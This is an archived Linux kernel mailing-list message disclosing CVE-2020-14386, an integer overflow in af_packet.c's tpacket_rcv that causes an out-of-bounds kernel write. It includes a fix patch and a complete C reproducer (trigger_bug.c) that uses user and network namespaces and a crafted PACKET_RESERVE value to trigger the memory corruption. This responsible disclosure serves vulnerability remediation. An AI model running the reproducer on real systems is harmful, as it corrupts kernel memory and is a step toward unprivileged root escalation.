All of lore.kernel.org
 help / color / mirror / Atom feed
From: Or Cohen <orcohen@paloaltonetworks.com>
To: netdev@vger.kernel.org
Subject: Vulnerability report - af_packet.c - CVE-2020-14386
Date: Thu, 3 Sep 2020 20:07:15 +0300	[thread overview]
Message-ID: <CAM6JnLf_8nwzq+UGO+amXpeApCDarJjwzOEHQd5qBhU7YKm3DQ@mail.gmail.com> (raw)

[-- Attachment #1: Type: text/plain, Size: 3319 bytes --]

Hi,
I already reported the issue to security@kernel.org and
linux-distros@vs.openwall.org and CVE-2020-14386 was assigned.

The report is as follows: ( a proposed patch and a reproducer are attached)

I discovered a bug which leads to a memory corruption in
(net/packet/af_packet.c). It can be exploited to gain root privileges
from unprivileged processes.

To create AF_PACKET sockets you need CAP_NET_RAW in your network
namespace, which can be acquired by unprivileged processes on systems
where unprivileged namespaces are enabled (Ubuntu, Fedora, etc).

I discovered the vulnerability while auditing the 5.7 kernel sources.

The bug occurs in tpacket_rcv function, when calculating the netoff
variable (unsigned short), po->tp_reserve (unsigned int) is added to
it which can overflow netoff so it gets a small value.

macoff is calculated using: "macoff = netoff - maclen", we can control
macoff so it will receive a small value (specifically, smaller then
sizeof(struct virtio_net_hdr)).

Later, when running the following code:
...
if (do_vnet &&
   virtio_net_hdr_from_skb(skb, h.raw + macoff -
sizeof(struct virtio_net_hdr),
...

If do_vnet is set, and because macoff < sizeof(struct virtio_net_hdr)
a pointer to a memory area before the h.raw buffer will be sent to
virtio_net_hdr_from_skb. This can lead to an out-of-bounds write of
1-10 bytes, controlled by the user.

The h.raw buffer is allocated in alloc_pg_vec and it's size is
controlled by the user.

The stack trace is as follows at the time of the crash: ( linux v5.7 )

#0  memset_erms () at arch/x86/lib/memset_64.S:66
#1  0xffffffff831934a6 in virtio_net_hdr_from_skb
(little_endian=<optimized out>, has_data_valid=<optimized out>,
    vlan_hlen=<optimized out>, hdr=<optimized out>, skb=<optimized
out>) at ./include/linux/virtio_net.h:134
#2  tpacket_rcv (skb=0xffff8881ef539940, dev=0xffff8881de534000,
pt=<optimized out>, orig_dev=<optimized out>)
        at net/packet/af_packet.c:2287
#3  0xffffffff82c52e47 in dev_queue_xmit_nit (skb=0xffff8881ef5391c0,
dev=<optimized out>) at net/core/dev.c:2276
#4  0xffffffff82c5e3d4 in xmit_one (more=<optimized out>,
txq=<optimized out>, dev=<optimized out>,
            skb=<optimized out>) at net/core/dev.c:3473
#5  dev_hard_start_xmit (first=0xffffc900001c0ff6, dev=0x0
<fixed_percpu_data>, txq=0xa <fixed_percpu_data+10>,
    ret=<optimized out>) at net/core/dev.c:3493
#6  0xffffffff82c5fc7e in __dev_queue_xmit (skb=0xffff8881ef5391c0,
sb_dev=<optimized out>) at net/core/dev.c:4052
#7  0xffffffff831982d3 in packet_snd (len=65536, msg=<optimized out>,
sock=<optimized out>) 0001-net-packet-fix-overflow-in-tpacket_rcv
at net/packet/af_packet.c:2979
#8  packet_sendmsg (sock=<optimized out>, msg=<optimized out>,
len=65536) at net/packet/af_packet.c:3004
#9  0xffffffff82be09ed in sock_sendmsg_nosec (msg=<optimized out>,
sock=<optimized out>) at net/socket.c:652
#10 sock_sendmsg (sock=0xffff8881e8ff56c0, msg=0xffff8881de56fd88) at
net/socket.c:672

Files attached:
A proposed patch - 0001-net-packet-fix-overflow-in-tpacket_rcv.patch
A reproducer for the bug - trigger_bug.c

We are currently working on an exploit for getting root privileges
from unprivileged context using this bug.

If there is a problem with the patch please let me know and I will fix it.

Or Cohen
Palo Alto Networks

[-- Attachment #2: 0001-net-packet-fix-overflow-in-tpacket_rcv.patch --]
[-- Type: application/octet-stream, Size: 1674 bytes --]

From 3ad04c9555b93ac6a374b0921ad41849caf22067 Mon Sep 17 00:00:00 2001
From: Or Cohen <orcohen@paloaltonetworks.com>
Date: Sun, 30 Aug 2020 20:04:51 +0300
Subject: [PATCH] net/packet: fix overflow in tpacket_rcv

Using tp_reserve to calculate netoff can overflow as
tp_reserve is unsigned int and netoff is unsigned short.

This may lead to macoff receving a smaller value then
sizeof(struct virtio_net_hdr), and if po->has_vnet_hdr
is set, an out-of-bounds write will occur when
calling virtio_net_hdr_from_skb.

The bug is fixed by converting netoff to unsigned int
and checking if it exceeds USHRT_MAX.

Fixes: 8913336a7e8d ("packet: add PACKET_RESERVE sockopt")
Signed-off-by: Or Cohen <orcohen@paloaltonetworks.com>
---
 net/packet/af_packet.c | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c
index 29bd405adbbd..d37435906859 100644
--- a/net/packet/af_packet.c
+++ b/net/packet/af_packet.c
@@ -2168,7 +2168,8 @@ static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
 	int skb_len = skb->len;
 	unsigned int snaplen, res;
 	unsigned long status = TP_STATUS_USER;
-	unsigned short macoff, netoff, hdrlen;
+	unsigned short macoff, hdrlen;
+	unsigned int netoff;
 	struct sk_buff *copy_skb = NULL;
 	struct timespec64 ts;
 	__u32 ts_status;
@@ -2237,6 +2238,10 @@ static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
 		}
 		macoff = netoff - maclen;
 	}
+	if (netoff > USHRT_MAX) {
+		atomic_inc(&po->tp_drops);
+		goto drop_n_restore;
+	}
 	if (po->tp_version <= TPACKET_V2) {
 		if (macoff + snaplen > po->rx_ring.frame_size) {
 			if (po->copy_thresh &&
-- 
2.17.1


[-- Attachment #3: trigger_bug.c --]
[-- Type: application/octet-stream, Size: 3809 bytes --]


#define _GNU_SOURCE

#include <sched.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdbool.h>
#include <stdarg.h>
#include <net/if.h>
#include <stdint.h>


bool write_file(const char* file, const char* what, ...) {
	char buf[1024];
	va_list args;
	va_start(args, what);
	vsnprintf(buf, sizeof(buf), what, args);
	va_end(args);
	buf[sizeof(buf) - 1] = 0;
	int len = strlen(buf);

	int fd = open(file, O_WRONLY | O_CLOEXEC);
	if (fd == -1)
		return false;
	if (write(fd, buf, len) != len) {
		close(fd);
		return false;
	}
	close(fd);
	return true;
}


void setup_sandbox() {
	int real_uid = getuid();
	int real_gid = getgid();

        if (unshare(CLONE_NEWUSER) != 0) {
		perror("[-] unshare(CLONE_NEWUSER)");
		exit(EXIT_FAILURE);
	}

        if (unshare(CLONE_NEWNET) != 0) {
		perror("[-] unshare(CLONE_NEWNET)");
		exit(EXIT_FAILURE);
	}

	if (!write_file("/proc/self/setgroups", "deny")) {
		perror("[-] write_file(/proc/self/set_groups)");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
		perror("[-] write_file(/proc/self/uid_map)");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
		perror("[-] write_file(/proc/self/gid_map)");
		exit(EXIT_FAILURE);
	}

	cpu_set_t my_set;
	CPU_ZERO(&my_set);
	CPU_SET(0, &my_set);
	if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
		perror("[-] sched_setaffinity()");
		exit(EXIT_FAILURE);
	}

	if (system("/sbin/ifconfig lo up") != 0) {
		perror("[-] system(/sbin/ifconfig lo up)");
		exit(EXIT_FAILURE);
	}

}

void packet_socket_send(int s, char *buffer, int size) {
	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_halen = ETH_ALEN;

	if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
			sizeof(sa)) < 0) {
		perror("[-] sendto(SOCK_RAW)");
		exit(EXIT_FAILURE);
	}
}

void loopback_send(char *buffer, int size) {
	int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (s == -1) {
		perror("[-] socket(SOCK_RAW)");
		exit(EXIT_FAILURE);
	}

	packet_socket_send(s, buffer, size);
}



int main()
{

	setup_sandbox();

	int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL) );
	if (s < 0)
	{
		perror("socket\n");
		return 1;
	}

	int v = TPACKET_V2;
	int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
	if (rv < 0)
	{
		perror("setsockopt(PACKET_VERSION)\n");
		return 1;
	}

	v = 1;
	rv = setsockopt(s, SOL_PACKET, PACKET_VNET_HDR, &v, sizeof(v));
	if (rv < 0)
	{
		perror("setsockopt(PACKET_VNET_HDR)\n");
		return 1;
	}

	v = 0xffff - 20 - 0x30 -7;
	rv = setsockopt(s, SOL_PACKET, PACKET_RESERVE, &v, sizeof(v));
	if (rv < 0)
	{
		perror("setsockopt(PACKET_RESERVE)\n");
		return 1;
	}

	struct tpacket_req req;
	memset(&req, 0, sizeof(req));
	req.tp_block_size = 0x800000;
	req.tp_frame_size = 0x11000;
	req.tp_block_nr = 1;
	req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

	rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
	if (rv < 0) {
		perror("[-] setsockopt(PACKET_RX_RING)");
		exit(EXIT_FAILURE);
	}


	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_family = PF_PACKET;
	sa.sll_protocol = htons(ETH_P_ALL);
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_hatype = 0;
	sa.sll_pkttype = 0;
	sa.sll_halen = 0;

	rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
	if (rv < 0) {
		perror("[-] bind(AF_PACKET)");
		exit(EXIT_FAILURE);
	}

	uint32_t size = 0x80000/8;
	char* buf = malloc(size);
	if(!buf)
	{
		perror("malloc\n");
		exit(EXIT_FAILURE);
	}
	memset(buf,0xce,size);
	loopback_send(buf,size);

	return 0;
}



             reply	other threads:[~2020-09-03 17:51 UTC|newest]

Thread overview: 7+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2020-09-03 17:07 Or Cohen [this message]
2020-09-04 13:30 ` [PATCH] net/packet: fix overflow in tpacket_rcv Stefan Nuernberger
2020-09-04 14:16   ` Greg Kroah-Hartman
2020-09-04 14:22     ` Nuernberger, Stefan
2020-09-04 14:36       ` gregkh
2020-09-05  6:54         ` Salvatore Bonaccorso
2020-09-21 17:02           ` Stefan Nuernberger

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=CAM6JnLf_8nwzq+UGO+amXpeApCDarJjwzOEHQd5qBhU7YKm3DQ@mail.gmail.com \
    --to=orcohen@paloaltonetworks.com \
    --cc=netdev@vger.kernel.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.